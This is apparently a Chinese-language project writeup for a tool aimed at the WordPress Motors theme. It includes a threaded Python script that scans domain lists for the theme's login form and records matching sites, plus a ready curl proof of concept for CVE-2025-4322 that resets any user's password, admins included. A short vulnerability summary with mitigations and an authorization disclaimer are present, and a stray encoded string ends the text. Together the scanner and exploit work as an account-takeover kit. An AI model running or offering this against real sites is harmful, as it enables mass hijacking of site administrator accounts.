Motors WordPress主题安全检测工具:一键识别登录页面与漏洞验证

8 阅读6分钟

Motors WordPress主题安全检测工具

项目描述

本项目包含两个核心部分:一个用于批量检测WordPress Motors主题登录页面的Python自动化脚本,以及一份关于该主题存在的高危漏洞(CVE-2025-4322)的分析报告。该脚本能够高效扫描多个域名,检查特定登录表单的存在性;同时,项目详细描述了Motors主题在密码更新功能中的未授权提权漏洞原理与利用方式。

功能特性

  • 批量域名扫描:从list.txt文件中读取域名列表,自动处理URL协议前缀,支持并发处理以提升效率。
  • 登录路径智能探测:不仅检查主页,还通过分析页面链接和预定义路径列表(如/login, /register等),全面探测可能的登录页面。
  • 目标特征识别:精确识别包含stm-login-form类名(Motors主题特有登录表单标识)的网页。
  • 漏洞深度解析:提供CVE-2025-4322漏洞的完整技术分析,包括漏洞描述、影响版本、CVSS评分、攻击原理及概念验证(PoC)。
  • 结果持久化:将发现的目标域名自动保存到result.txt文件中,便于后续分析。
  • 线程安全输出:使用线程锁确保多线程环境下控制台输出和文件写入的有序性。

安装指南

系统要求

  • Python 3.6 或更高版本

依赖安装

项目依赖于以下Python库,可以通过pip安装:

pip install requests beautifulsoup4

配置说明

  1. 在脚本同目录下创建list.txt文件,每行输入一个待检测的域名(无需http://https://前缀)。
  2. 运行脚本后,结果将自动保存在同目录下的result.txt文件中。

使用说明

基础使用

  1. 确保list.txt文件已准备就绪。
  2. 在命令行中运行主脚本:
    python script.py
    
  3. 脚本将显示扫描进度和结果,最终结果保存在result.txt中。

扫描过程示例

控制台将输出如下信息:

[🚀] ready to check 100 domain...
[✅] example.comfound at https://example.com/login
[⚠️] anothersite.comerror: timeout
[✔️] Done. all valid result at result.txt

CVE-2025-4322 漏洞验证

根据提供的分析报告,可以通过发送特定请求验证漏洞是否存在。

curl "https://target-site.com/loginregister/?user_id=2&hash_check=%C0" --data "stm_new_password=AttackerPassword123!" -XPOST

警告:此PoC仅用于授权的安全测试。未经授权对他人系统进行测试是非法且不道德的。

核心代码

主检测逻辑 (script.py 核心部分)

import requests
import urllib3
# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading

lock = threading.Lock() # 用于线程安全的锁

# 预定义的登录相关路径列表,用于探测
login_paths = [
    "/login",
    "/loginregister",
    "/login-register",
    "/my-account",
    "/account",
    "/signin",
    "/sign-in",
    "/register",
    "/auth",
    "/user/login",
    "/user/signin",
    "/forgot-password",
    "/reset-password"
]

def check_login_form(full_url):
    """
    检查给定URL的页面是否包含目标登录表单。
    Args:
        full_url (str): 要检查的完整URL。
    Returns:
        bool: 如果页面包含'stm-login-form'则返回True,否则返回False。
    """
    try:
        # 发送GET请求,忽略SSL证书验证
        res = requests.get(full_url, timeout=10, verify=False)
        # 检查状态码为200且页面HTML中包含特定标识
        if res.status_code == 200 and "stm-login-form" in res.text:
            return True
    except Exception:
        # 忽略请求过程中的任何异常
        pass
    return False

def process_domain(domain):
    """
    处理单个域名的核心函数。
    1. 访问主页检查。
    2. 收集页面中所有可能的登录相关链接。
    3. 逐一检查这些链接。
    Args:
        domain (str): 要处理的域名。
    """
    checked = set() # 存储已检查过的URL,避免重复
    base_url = f"https://{domain}" # 构建基础URL
    try:
        # 访问域名主页
        r = requests.get(base_url, timeout=10, verify=False)
        if r.status_code != 200:
            return # 如果主页访问失败,则跳过该域名
        soup = BeautifulSoup(r.text, "html.parser")

        # 首先检查主页是否直接包含目标表单
        if "stm-login-form" in r.text:
            print(f"[✅] {domain} → found at homepage")
            with lock:
                # 线程安全地写入结果文件
                with open("result.txt", "a") as f:
                    f.write(domain + "\n")
            return # 找到后直接返回,无需进一步探测

        hrefs = set() # 用于存储待检查的链接
        # 解析主页,寻找所有包含登录相关关键词的链接
        for a in soup.find_all("a", href=True):
            href = a["href"]
            if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
                full_href = urljoin(base_url, href) # 将相对路径转换为绝对URL
                hrefs.add(full_href)

        # 将预定义的路径也加入到待检查列表中
        for path in login_paths:
            hrefs.add(urljoin(base_url, path))

        # 遍历所有收集到的链接进行检查
        for link in hrefs:
            # 对URL进行规范化处理,移除查询参数和片段标识
            normalized = urlparse(link)._replace(query="", fragment="").geturl()
            if normalized in checked:
                continue # 跳过已检查的URL
            checked.add(normalized)
            # 调用检查函数
            if check_login_form(normalized):
                print(f"[✅] {domain} → found at {normalized}")
                with lock:
                    with open("result.txt", "a") as f:
                        f.write(domain + "\n")
                break # 找到一个有效目标即可终止对该域名的检查
    except Exception as e:
        print(f"[⚠️] {domain} → error: {e}") # 输出处理过程中的错误

# 主程序入口
with open("list.txt") as f:
    # 读取域名列表,清理每行并移除协议头
    domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]

print(f"[🚀] ready to check {len(domains)} domain...")

# 使用线程池进行并发扫描,最大线程数为20
with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(process_domain, domains) # 将域名列表映射到处理函数

print(f"[✔️] Done. all valid result at result.txt")

CVE-2025-4322 漏洞技术摘要 (vulnerability_analysis.md 核心部分)

## 漏洞标识:CVE-2025-4322
**描述**:WordPress Motors主题在5.6.67及之前的所有版本中存在通过密码更新导致的未授权权限提升(账户接管)漏洞。原因是主题在更新用户密码前未能正确验证用户身份。

**技术细节**- **根本原因**:主题提供了一个前端密码更新接口(通过`/loginregister/`等端点访问)。该接口接受`user_id``hash_check``stm_new_password`参数,但在处理请求时,**未经验证**用户的真实身份或请求的合法性。
- **攻击向量**:攻击者可以构造一个包含任意用户ID和可绕过(或任意)`hash_check`值的POST请求,即可将该用户的密码重置为攻击者指定的值。
- **关键缺陷**:缺乏身份验证、所有权检查和安全的令牌(nonce)验证机制,导致系统盲目信任客户端提交的参数。

**漏洞影响**- 攻击者可以重置任何用户的密码,包括管理员。
- 可能导致完整的网站控制权被窃取。
- 可部署后门、恶意插件,造成持续危害。

**缓解建议**1.  立即将Motors主题更新到最新版本。
2.  如果不需要,禁用或限制访问前端登录/注册端点。
3.  在密码重置逻辑中实施严格的服务器端身份和所有权验证。
4.  通过Web应用防火墙(WAF)等工具进行虚拟补丁,阻止未经授权的此类POST请求。
```FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ48+0pkQ0vr49MGq1JRUQSG